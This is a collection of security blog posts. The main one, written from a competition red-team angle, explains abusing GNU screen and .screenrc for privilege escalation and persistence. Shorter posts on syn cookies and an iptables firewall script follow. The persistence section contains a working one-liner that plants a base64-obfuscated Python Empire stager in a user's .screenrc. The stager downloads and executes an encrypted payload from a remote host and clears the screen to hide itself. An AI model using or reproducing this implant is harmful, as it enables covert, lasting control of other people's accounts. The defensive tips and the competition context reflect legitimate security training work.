Abusing screen and .screenrc to Escalate and Maintain Access

When it comes to playing the part of the hacker/red team in competitions like CCDC. I’m always looking for unique ways to gain and maintain access to systems. Lately I’ve toying with the idea of leveraging features in common administration tools instead of exploits or misconfigurations. My favorite of which is abusing screen and .screenrc features to establish a foothold.

Why screen?

The screen command is definitely something I think every Linux Administrator uses every day. The reason why is simple, its probably the best way to maintain your work or run longer jobs without the effort of creating a system service. This is because when the screen command issued it effective creates another terminal (TTY) independent of the current users session. So if the administrators session isn’t stable or its impractical to wait, the job won’t be affected.

Fun Fact: By default screens are actually allocated a TTY and spawned by the init process, not the current user. So the screen process, TTY, and child processes won’t show in user level process listings or the standard last, w, or who command outputs. Instead you can use the who command with the -a (all) option to also display TTYs spawned by init.

Abusing screen and .screenrc via abandoned screens

Given that the most common use case for the screen command is administrators running jobs that can’t be interrupted. Therefore it’s always worth checking to see if any screens are running when you compromise a users account. Its not that uncommon for administrators to elevate privileges or even switch users all together within a screen. If an administrator switches to root/superuser account in a screen, the screen still only allows the original spawning user access. If that’s a lower privilege user that you’ve compromised, its an easy privilege escalation case.

So you might be thinking that the administrator should have just used sudo to elevate privileges within the screen instead of switching to root/superuser. Its definitely a safer option, but not the best option because once a users password is entered for a sudo command, by default its not requested again for 15 minutes. So if you’re in the right screen at the right time, or willing to wait long enough, sudo can still be used as a means to privilege escalate as well.

You can check to see if the current user within a screen can sudo without prompt by running sudo in non-interactive mode and seeing if it errors out.

if sudo -n true 2>/dev/null; then echo "I can sudo"; else echo "I cannot sudo"; fi

Abusing screen and .screenrc via multi-user support

The alternative laid out by the developer of the screen tool is actually a rather detailed set of permissions and multi-user support for individual screens themselves. Going over the individual permissions that are available is probably out of the scope of this post. However multi-user support is actually used in cases where multi individuals need to access jobs running in a screen of a service account, but aren’t actually allowed superuser privileges.

For instances, in my consultant days we had external nmap scanning systems, all the consultants had access to scans running within screens, in case they needed to be modified or stopped. This allowed us to maintain access to all running jobs, but we weren’t required to have superuser access to switch users or elevate privileges to kill other users processes.

To use multi-user support, make sure the SUID bit is set on the screen executable and modify the individual users (~/.screenrc or global (/etc/screenrc) screenrc files. For example, if you wanted to try and maintain access to screens created by root via a compromised standard users named tester, you could include the following in /root/.screenrc file.

multiuser on
acladd tester

If screens are not being used enough to leverage changes to the .screenrc file. You can also modify one of the target users profile files to issue the screen command automatically. You can do this by adding ‘screen -RR’ to the users ~/.bashrc file or the global /etc/bashrc file. This will reattach to any existing screen or create a screen and attach to it, once login has completed.

Note: For highly secure environments its likely best to disable multi-user support in the global screenrc file. Also consider setting your global sudoers configure to timestamp_timeout=0, will require a password for every use of the sudo command. Change control and/or watchers on resource (~.*rc) and profile files might also help.

Abusing screen and .screenrc with stuff and clear

Maintaining Access with the stuff and clear technique

Leveraging multi-user support isn’t the only way of abusing screen and .screenrc to maintain access. Instead I now utilize a technique I call stuff and clear. In this technique the target users .screenrc file is modified to create a screen layer whenever a screen is executed. This arbitrary, named layer allows for the command “stuff” to send raw characters to the screen.

Luckily, the builtin printf command will handle the raw character encoding. So printf can type out shell code, send an return key press, type out the clear command, and send a final return key press. The stuff command will then effectively create the same screen pop effect that already happens when a new screen is created. So unless the user enters copy mode and scrolls up or errors occur, they are unlikely to notice.

Here is a code segment from a Empyre module I wrote for CCDC a few years ago, that does just as a described. It will write an Empyre shell to the users .screenrc file using the stuff and clear technique.

echo 'screen -t "python"' >> ~/.screenrc && printf "stuff \""'echo \\'"\"import sys,base64;exec(base64.b64decode(\\\'bU9WakhVPSdSSVRQYURSbFFwJwppbXBvcnQgc3lzLCB1cmxsaWIyO289X19pbXBvcnRfXyh7MjondXJsbGliMicsMzondXJsbGliLnJlcXVlc3QnfVtzeXMudmVyc2lvbl9pbmZvWzBdXSxmcm9tbGlzdD1bJ2J1aWxkX29wZW5lciddKS5idWlsZF9vcGVuZXIoKTtVQT0nSDNTRTIwUVlSRlZGWTFVOCc7by5hZGRoZWFkZXJzPVsoJ1VzZXItQWdlbnQnLFVBKV07YT1vLm9wZW4oJ2h0dHA6Ly8xMC4wLjAuMTAwOjgwODAvaW5kZXguYXNwJykucmVhZCgpO2tleT0nM2ViMDMwYzZhYjA5OWIwYTM1NTcxMmZlMzhkNTlmZmInO1MsaixvdXQ9cmFuZ2UoMjU2KSwwLFtdCmZvciBpIGluIHJhbmdlKDI1Nik6CiAgICBqPShqK1NbaV0rb3JkKGtleVtpJWxlbihrZXkpXSkpJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQppPWo9MApmb3IgY2hhciBpbiBhOgogICAgaT0oaSsxKSUyNTYKICAgIGo9KGorU1tpXSklMjU2CiAgICBTW2ldLFNbal09U1tqXSxTW2ldCiAgICBvdXQuYXBwZW5kKGNocihvcmQoY2hhcileU1soU1tpXStTW2pdKSUyNTZdKSkKZXhlYygnJy5qb2luKG91dCkp\\\'));"'\\'"\" | python &\rclear\r"'"' >> ~/.screenrc

Fun Fact: Screen also supports not terminating windows when a screen is exited. This can be done by adding the ‘zombie kr’ line to the .screenrc file. In the case of some payload types, this would mean the shell process would still be running until an administrator killed the screen manually.

One Final Thought

Since I’m the current maintainer of linuxprivchecker, I’ve also taken the time to begin to make changes to help detect these opportunities related to abusing screen and .screenrc for privilege escalation. I hope to continue to add features to this tool and provide related blog posts like this one. These new features will likely sit in the unstable branch for some time before they make it to master. Any assistance with testing, feedback, or ideas is always welcome.

Webservers love Syn Cookies

In a few posts now, I’ve mentioned this concept of syn cookies. Syn cookies is a lesser known technique that allows for each incoming syn packet to be tagged with a unique identifier by the kernal. These identifiers are encoded into the TCP timestamp and then SYN is droped from the socket qeue.

This allows for these identifiers to be used to control the flow of a TCP communication. These cookies could be used for something as simple as killing outstanding sessions (which is does by defualt by removing them from the qeue) or as complex as load balancing active connections between servers in a web cluster (having multiple servers using the same encoding algorithm with an intermediate controling the flow). However, these days syn cookies are more often used to limit the amount of active connections are in the socket qeue, in an effort to stop DOS attacks.

This feature comes precompiled into Linux kernals 2.6+ and can be easily implemented.

To check and see if syn cookies is already enabled use the following command. Note, a 1 is enabled and a 0 is disabled.

cat /proc/sys/net/ipv4/tcp_syncookies

To enable syn cookies edit the /etc/sysctl.conf file and apend the following line.

net.ipv4.tcp_syncookies = 1

After the chnage, relaod the config file with the following command.

sysctl -p

iptables for Cyber Defense

Linux operating systems are very popular within the Cyber Security competition space for several reason, the foremost likely being that its free. Nonetheless, this abundance often calls for competitors to have at least a basic understanding of how to defend Linux systems. Arguable the first step in defending a Linux system is strong passwords, but a strong firewall is defiantly the second.

First of all, make a bash script for your firewall configuration, run it often (I like rc.local, cron, and init), and hide it well (I like a places I would frequent as a defender, but not as an attacker, like /etc/apache2/sites-available). This iptables script should at the very least include an IN and OUT filter for ssh and the port(s) core service(s). A basic script might look like the following.

#!/bin/bash
iptables -F #clear the table
#iptables tricks
iptables -A INPUT -i lo -j ACCEPT #accept connections on our loop back
iptables -A INPUT -p tcp --tcp-flags ALL NONE -j DROP #drop bull packets
iptables -A INPUT -p tcp ! --syn -m state --state NEW -j DROP #drop syn floods (couple with syn.cookies)
iptables -A INPUT -p tcp --tcp-flags ALL ALL -j DROP #drop xmas packets cause this isn't the 90s
iptables -A INPUT -p tcp --dport 80,443 -m limit --limit 25/minute --limit-burst 100 -j ACCEPT #limit incoming connections
#IN Chain
iptables -A INPUT -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT #open ssh
iptables -A INPUT -p tcp --dport 80 -m state --state NEW,ESTABLISHED -j ACCEPT #open http
iptables -A INPUT -p tcp --dport 443 -m state --state NEW,ESTABLISHED -j ACCEPT #open https
#OUT Chain
iptables -A OUTPUT -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT #allow ssh out
iptables -A OUTPUT -p tcp --sport 80 -m state --state ESTABLISHED -j ACCEPT #allow http out
iptables -A OUTPUT -p tcp --sport 443 -m state --state ESTABLISHED -j ACCEPT #allow https out
iptables -P OUTPUT DROP #drop other out
iptables -P INPUT DROP #drop other in

Allow this is likely not all the rules one might require throughout a competition, I’ve found its a good place to start. I hope to add more examples and useful rules as I learn of them in my career. If anyone has any questions feel free to hit me up.